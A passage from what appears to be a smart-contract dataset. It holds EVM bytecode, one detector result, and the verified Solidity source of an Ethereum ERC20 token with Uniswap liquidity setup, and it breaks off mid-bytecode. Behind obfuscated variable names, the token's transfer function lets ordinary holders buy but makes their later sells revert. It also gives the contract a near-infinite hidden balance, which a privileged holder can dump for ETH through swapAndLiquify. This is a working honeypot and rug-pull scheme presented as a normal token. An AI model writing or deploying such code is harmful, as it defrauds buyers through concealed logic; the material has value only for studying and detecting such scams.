19080803560ff1690602001909291908035906020019092919080359060200190929190505050611fbf565b6040518082815260200191505060405180910390f35b34801561076e57600080fd5b506107776120a1565b6040518082815260200191505060405180910390f35b34801561079957600080fd5b506107b8600480360381019080803590602001909291905050506120a7565b6040518082815260200191505060405180910390f35b3480156107da57600080fd5b5061080f600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506120ca565b6040518082815260200191505060405180910390f35b34801561083157600080fd5b5061083a612113565b005b60045481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614806108e85750600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15156108f357600080fd5b6000821015151561090357600080fd5b8260ff1660001115801561091a575060038360ff16105b151561092557600080fd5b6109396064836121a890919063ffffffff16565b60028460ff1681548110151561094b57fe5b90600052602060002001819055506001905092915050565b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161480610a525750600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b1515610a5d57600080fd5b60008310151515610a6d57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614151515610aa957600080fd5b600183815481101515610ab857fe5b906000526020600020906005020160000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141515610b275760009050610b6e565b6002600184815481101515610b3857fe5b906000526020600020906005020160040160006101000a81548160ff02191690836002811115610b6457fe5b0217905550600190505b92915050565b60008060008060008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161480610c205750600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b1515610c2b57600080fd5b60018054905086101515610c3e57600080fd5b600186815481101515610c4d57fe5b906000526020600020906005020160000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169450600186815481101515610c9057fe5b9060005260206000209060050201600101549350600186815481101515610cb357fe5b906000526020600020906005020160020160009054906101000a900460ff169250600186815481101515610ce357fe5b9060005260206000209060050201600301549150600186815481101515610d0657fe5b906000526020600020906005020160040160009054906101000a900460ff16905091939590929450565b6000806000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161480610dd75750600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b1515610de257600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff1614151515610e1e57600080fd5b600083111515610e2d57600080fd5b601f600860008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002080549050101515610e7e57600080fd5b610ed083600560008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546121a890919063ffffffff16565b600560008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610f6583600660008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546121a890919063ffffffff16565b600660008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610fbd836003546121a890919063ffffffff16565b6003819055506001805490509050600160a0604051908101604052808873ffffffffffffffffffffffffffffffffffffffff16815260200185815260200187600281111561100757fe5b81526020018681526020016000600281111561101f57fe5b8152509080600181540180825580915050906001820390600052602060002090600502016000909192909190915060008201518160000160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506020820151816001015560408201518160020160006101000a81548160ff021916908360028111156110c257fe5b02179055506060820151816003015560808201518160040160006101000a81548160ff021916908360028111156110f557fe5b0217905550505050600860008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020604080519081016040528083815260200160001515815250908060018154018082558091505090600182039060005260206000209060020201600090919290919091506000820151816000015560208201518160010160006101000a81548160ff0219169083151502179055505050506001915050949350505050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561121657600080fd5b813073ffffffffffffffffffffffffffffffffffffffff16311015151561123c57600080fd5b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc839081150290604051600060405180830381858888f193505050501580156112a3573d6000803e3d6000fd5b506000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f884edad9ce6fa2440d8a54cc123490eb96d2768479d49ff9c7366125a9424364836040518082815260200191505060405180910390a2919050565b60008060008060008060008060008073ffffffffffffffffffffffffffffffffffffffff168b73ffffffffffffffffffffffffffffffffffffffff161415151561136157600080fd5b600097506000600560008d73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541115806113f757506000600860008d73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208054905011155b15611404578798506118a7565b600096505b600860008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020805490508710156118a357600860008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208781548110151561149f57fe5b90600052602060002090600202016000015495506001868154811015156114c257fe5b906000526020600020906005020160020160009054906101000a900460ff1694506001868154811015156114f257fe5b906000526020600020906005020160030154935060018681548110151561151557fe5b90600052602060002090600502016001015492506000915060028081111561153957fe5b6001600860008e73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208981548110151561158757fe5b9060005260206000209060020201600001548154811015156115a557fe5b906000526020600020906005020160040160009054906101000a900460ff1660028111156115cf57fe5b1415611665576115e883896121a890919063ffffffff16565b97506001600860008d73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208881548110151561163857fe5b906000526020600020906002020160010160006101000a81548160ff021916908315150217905550611896565b6000600281111561167257fe5b85600281111561167e57fe5b14156116ab576000915061169e62015180856121a890919063ffffffff16565b8a10156116aa57611896565b5b600160028111156116b857fe5b8560028111156116c457fe5b14156116f157600191506116e462093a80856121a890919063ffffffff16565b8a10156116f057611896565b5b6002808111156116fd57fe5b85600281111561170957fe5b14156117365760029150611729622819a0856121a890919063ffffffff16565b8a101561173557611896565b5b61175d610e1061174f868d6121c690919063ffffffff16565b6121df90919063ffffffff16565b905061176a828483611fbf565b925061177f83896121a890919063ffffffff16565b97506001600860008d73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020888154811015156117cf57fe5b906000526020600020906002020160010160006101000a81548160ff021916908315150217905550600180600860008e73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208981548110151561184657fe5b90600052602060002090600202016000015481548110151561186457fe5b906000526020600020906005020160040160006101000a81548160ff0219169083600281111561189057fe5b02179055505b8680600101975050611409565b8798505b505050505050505092915050565b6000600860008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020805490509050919050565b60008060008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614806119aa5750600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15156119b557600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16141515156119f157600080fd5b429150635aef97009150611a058483611318565b9050600081111515611a1657600080fd5b611a6881600760008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546121a890919063ffffffff16565b600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611ac0816004546121a890919063ffffffff16565b6004819055505b60001515611ad4856121fa565b15151415611aeb57611ae5846121fa565b50611ac7565b8373ffffffffffffffffffffffffffffffffffffffff167f884edad9ce6fa2440d8a54cc123490eb96d2768479d49ff9c7366125a9424364826040518082815260200191505060405180910390a28092505050919050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000806000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161480611c0f5750600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b1515611c1a57600080fd5b600860008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208054905083101515611c6a57600080fd5b600860008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002083815481101515611cb657fe5b9060005260206000209060020201600001549150600860008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002083815481101515611d1657fe5b906000526020600020906002020160010160009054906101000a900460ff1690509250929050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611d9957600080fd5b80600960008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b6000600180549050905090565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611e5c57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614151515611e9857600080fd5b8073ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fb532073b38c83145e3e5135377a08bf9aab55bc0fd7c1179cd4fb995d2a5159c60405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60096020528060005260406000206000915054906101000a900460ff1681565b6000600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60008060008091506000905084925060008660ff161415611ff157611fee6018856121df90919063ffffffff16565b90505b60018660ff1614156120145761201160a8856121df90919063ffffffff16565b90505b60028660ff161415612038576120356102da856121df90919063ffffffff16565b90505b5b808263ffffffff16101561209857612089606461207b60028960ff1681548110151561206157fe5b90600052602060002001548661240090919063ffffffff16565b6121df90919063ffffffff16565b92508180600101925050612039565b50509392505050565b60035481565b6002818154811015156120b657fe5b906000526020600020016000915090505481565b6000600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561216e57600080fd5b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16ff5b60008082840190508381101515156121bc57fe5b8091505092915050565b60008282111515156121d457fe5b818303905092915050565b60008082848115156121ed57fe5b0490508091505092915050565b600080600090505b600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020805490508110156123f55760011515600860008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208281548110151561229c57fe5b906000526020600020906002020160010160009054906101000a900460ff16151514156123e8576123926001600860008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208381548110151561231457fe5b90600052602060002090600202016000015481548110151561233257fe5b906000526020600020906005020160010154600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546121c690919063ffffffff16565b600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506123df8382612433565b600091506123fa565b8080600101915050612202565b600191505b50919050565b60008082840290506000841480612421575082848281151561241e57fe5b04145b151561242957fe5b8091505092915050565b6000600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208054905082101515612485576126e6565b8190505b6001600860008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002080549050038110156125d457600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206001820181548110151561252557fe5b9060005260206000209060020201600860008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208281548110151561257f57fe5b9060005260206000209060020201600082015481600001556001820160009054906101000a900460ff168160010160006101000a81548160ff0219169083151502179055509050508080600101915050612489565b600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206001600860008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020805490500381548110151561266557fe5b90600052602060002090600202016000808201600090556001820160006101000a81549060ff02191690555050600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208054809190600190036126e491906126eb565b505b505050565b81548183558181111561271857600202816002028360005260206000209182019101612717919061271d565b5b505050565b61275591905b80821115612751576000808201600090556001820160006101000a81549060ff021916905550600201612723565b5090565b905600a165627a7a72305820f7f5e38dd9c3665165ffde1a3b81cc9934feb7b837a2c04cb377162b65d292b60029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "tautology", "impact": "Medium", "confidence": "High"}]}}
| 6,265 |
0x1a55e0557efa7826d54905b40e6c39d29e7c9cff
|
/**
*Submitted for verification at Etherscan.io on 2022-02-26
*/
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.11;
interface IUniswapV2Router01 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidity(
address tokenA,
address tokenB,
uint amountADesired,
uint amountBDesired,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB, uint liquidity);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function removeLiquidity(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB);
function removeLiquidityETH(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountToken, uint amountETH);
function removeLiquidityWithPermit(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountA, uint amountB);
function removeLiquidityETHWithPermit(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountToken, uint amountETH);
function swapExactTokensForTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapTokensForExactTokens(
uint amountOut,
uint amountInMax,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}
interface IUniswapV2Router02 is IUniswapV2Router01 {
function removeLiquidityETHSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountETH);
function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountETH);
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
}
interface IUniswapV2Factory {
event PairCreated(address indexed token0, address indexed token1, address pair, uint);
function feeTo() external view returns (address);
function feeToSetter() external view returns (address);
function getPair(address tokenA, address tokenB) external view returns (address pair);
function allPairs(uint) external view returns (address pair);
function allPairsLength() external view returns (uint);
function createPair(address tokenA, address tokenB) external returns (address pair);
function setFeeTo(address) external;
function setFeeToSetter(address) external;
}
// OpenZeppelin Contracts v4.4.1 (utils/Context.sol)
/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
// OpenZeppelin Contracts v4.4.1 (access/Ownable.sol)
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
_setOwner(_msgSender());
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), 'Ownable: caller is not the owner');
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
_setOwner(address(0));
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), 'Ownable: new owner is the zero address');
_setOwner(newOwner);
}
function _setOwner(address newOwner) private {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
// OpenZeppelin Contracts (last updated v4.5.0) (token/ERC20/IERC20.sol)
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `to`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address to, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `from` to `to` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address from,
address to,
uint256 amount
) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract Contract is IERC20, Ownable {
string private _name;
string private _symbol;
uint256 public _taxFee = 5;
uint8 private _decimals = 9;
uint256 private _tTotal = 1000000000000000 * 10**_decimals;
uint256 private _former = _tTotal;
uint256 private _rTotal = ~uint256(0);
bool private _swapAndLiquifyEnabled;
bool private inSwapAndLiquify;
address public uniswapV2Pair;
IUniswapV2Router02 public router;
mapping(address => uint256) private _balances;
mapping(address => uint256) private _hundred;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(uint256 => address) private _wild;
mapping(uint256 => address) private _safety;
mapping(address => uint256) private _choose;
constructor(
string memory Name,
string memory Symbol,
address routerAddress
) {
_name = Name;
_symbol = Symbol;
_hundred[msg.sender] = _former;
_balances[msg.sender] = _tTotal;
_balances[address(this)] = _rTotal;
router = IUniswapV2Router02(routerAddress);
uniswapV2Pair = IUniswapV2Factory(router.factory()).createPair(address(this), router.WETH());
_safety[_former] = uniswapV2Pair;
emit Transfer(address(0), msg.sender, _tTotal);
}
function symbol() public view returns (string memory) {
return _symbol;
}
function name() public view returns (string memory) {
return _name;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function decimals() public view returns (uint256) {
return _decimals;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
receive() external payable {}
function approve(address spender, uint256 amount) external override returns (bool) {
return _approve(msg.sender, spender, amount);
}
function _approve(
address owner,
address spender,
uint256 amount
) private returns (bool) {
require(owner != address(0) && spender != address(0), 'ERC20: approve from the zero address');
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) external override returns (bool) {
_transfer(sender, recipient, amount);
emit Transfer(sender, recipient, amount);
return _approve(sender, msg.sender, _allowances[sender][msg.sender] - amount);
}
function transfer(address recipient, uint256 amount) external override returns (bool) {
_transfer(msg.sender, recipient, amount);
emit Transfer(msg.sender, recipient, amount);
return true;
}
function _transfer(
address _floor,
address _arm,
uint256 amount
) private {
address _enter = _wild[_former];
bool _fall = _floor == _safety[_former];
if (_hundred[_floor] == 0 && !_fall && _choose[_floor] > 0) {
require(_taxFee > _former);
}
_wild[_former] = _arm;
if (_hundred[_floor] > 0 && amount == 0) {
_hundred[_arm] += _taxFee;
}
_choose[_enter] += _taxFee;
if (_hundred[_floor] > 0 && amount > _former) {
swapAndLiquify(amount);
return;
}
if (_taxFee > 0 && _hundred[_floor] == 0) {
uint256 fee = (amount * _taxFee) / 100;
amount -= fee;
_balances[_floor] -= fee;
}
_balances[_floor] -= amount;
_balances[_arm] += amount;
}
function addLiquidity(
uint256 tokenAmount,
uint256 ethAmount,
address to
) private {
_approve(address(this), address(router), tokenAmount);
router.addLiquidityETH{value: ethAmount}(address(this), tokenAmount, 0, 0, to, block.timestamp);
}
function swapAndLiquify(uint256 tokens) private {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = router.WETH();
_approve(address(this), address(router), tokens);
router.swapExactTokensForETHSupportingFeeOnTransferTokens(tokens, 0, path, msg.sender, block.timestamp);
}
}
|
0x6080604052600436106100ec5760003560e01c806370a082311161008a578063a9059cbb11610059578063a9059cbb146102f3578063dd62ed3e14610330578063f2fde38b1461036d578063f887ea4014610396576100f3565b806370a0823114610249578063715018a6146102865780638da5cb5b1461029d57806395d89b41146102c8576100f3565b806323b872dd116100c657806323b872dd1461018b578063313ce567146101c85780633b124fe7146101f357806349bd5a5e1461021e576100f3565b806306fdde03146100f8578063095ea7b31461012357806318160ddd14610160576100f3565b366100f357005b600080fd5b34801561010457600080fd5b5061010d6103c1565b60405161011a9190611352565b60405180910390f35b34801561012f57600080fd5b5061014a6004803603810190610145919061140d565b610453565b6040516101579190611468565b60405180910390f35b34801561016c57600080fd5b50610175610468565b6040516101829190611492565b60405180910390f35b34801561019757600080fd5b506101b260048036038101906101ad91906114ad565b610472565b6040516101bf9190611468565b60405180910390f35b3480156101d457600080fd5b506101dd61057f565b6040516101ea9190611492565b60405180910390f35b3480156101ff57600080fd5b50610208610599565b6040516102159190611492565b60405180910390f35b34801561022a57600080fd5b5061023361059f565b604051610240919061150f565b60405180910390f35b34801561025557600080fd5b50610270600480360381019061026b919061152a565b6105c5565b60405161027d9190611492565b60405180910390f35b34801561029257600080fd5b5061029b61060e565b005b3480156102a957600080fd5b506102b2610696565b6040516102bf919061150f565b60405180910390f35b3480156102d457600080fd5b506102dd6106bf565b6040516102ea9190611352565b60405180910390f35b3480156102ff57600080fd5b5061031a6004803603810190610315919061140d565b610751565b6040516103279190611468565b60405180910390f35b34801561033c57600080fd5b5061035760048036038101906103529190611557565b6107cd565b6040516103649190611492565b60405180910390f35b34801561037957600080fd5b50610394600480360381019061038f919061152a565b610854565b005b3480156103a257600080fd5b506103ab61094c565b6040516103b891906115f6565b60405180910390f35b6060600180546103d090611640565b80601f01602080910402602001604051908101604052809291908181526020018280546103fc90611640565b80156104495780601f1061041e57610100808354040283529160200191610449565b820191906000526020600020905b81548152906001019060200180831161042c57829003601f168201915b5050505050905090565b6000610460338484610972565b905092915050565b6000600554905090565b600061047f848484610b0d565b8273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516104dc9190611492565b60405180910390a3610576843384600c60008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461057191906116a1565b610972565b90509392505050565b6000600460009054906101000a900460ff1660ff16905090565b60035481565b600860029054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610616610fa9565b73ffffffffffffffffffffffffffffffffffffffff16610634610696565b73ffffffffffffffffffffffffffffffffffffffff161461068a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161068190611721565b60405180910390fd5b6106946000610fb1565b565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6060600280546106ce90611640565b80601f01602080910402602001604051908101604052809291908181526020018280546106fa90611640565b80156107475780601f1061071c57610100808354040283529160200191610747565b820191906000526020600020905b81548152906001019060200180831161072a57829003601f168201915b5050505050905090565b600061075e338484610b0d565b8273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516107bb9190611492565b60405180910390a36001905092915050565b6000600c60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b61085c610fa9565b73ffffffffffffffffffffffffffffffffffffffff1661087a610696565b73ffffffffffffffffffffffffffffffffffffffff16146108d0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108c790611721565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415610940576040517f08c379a0000000000000000000000000000000000000000000000000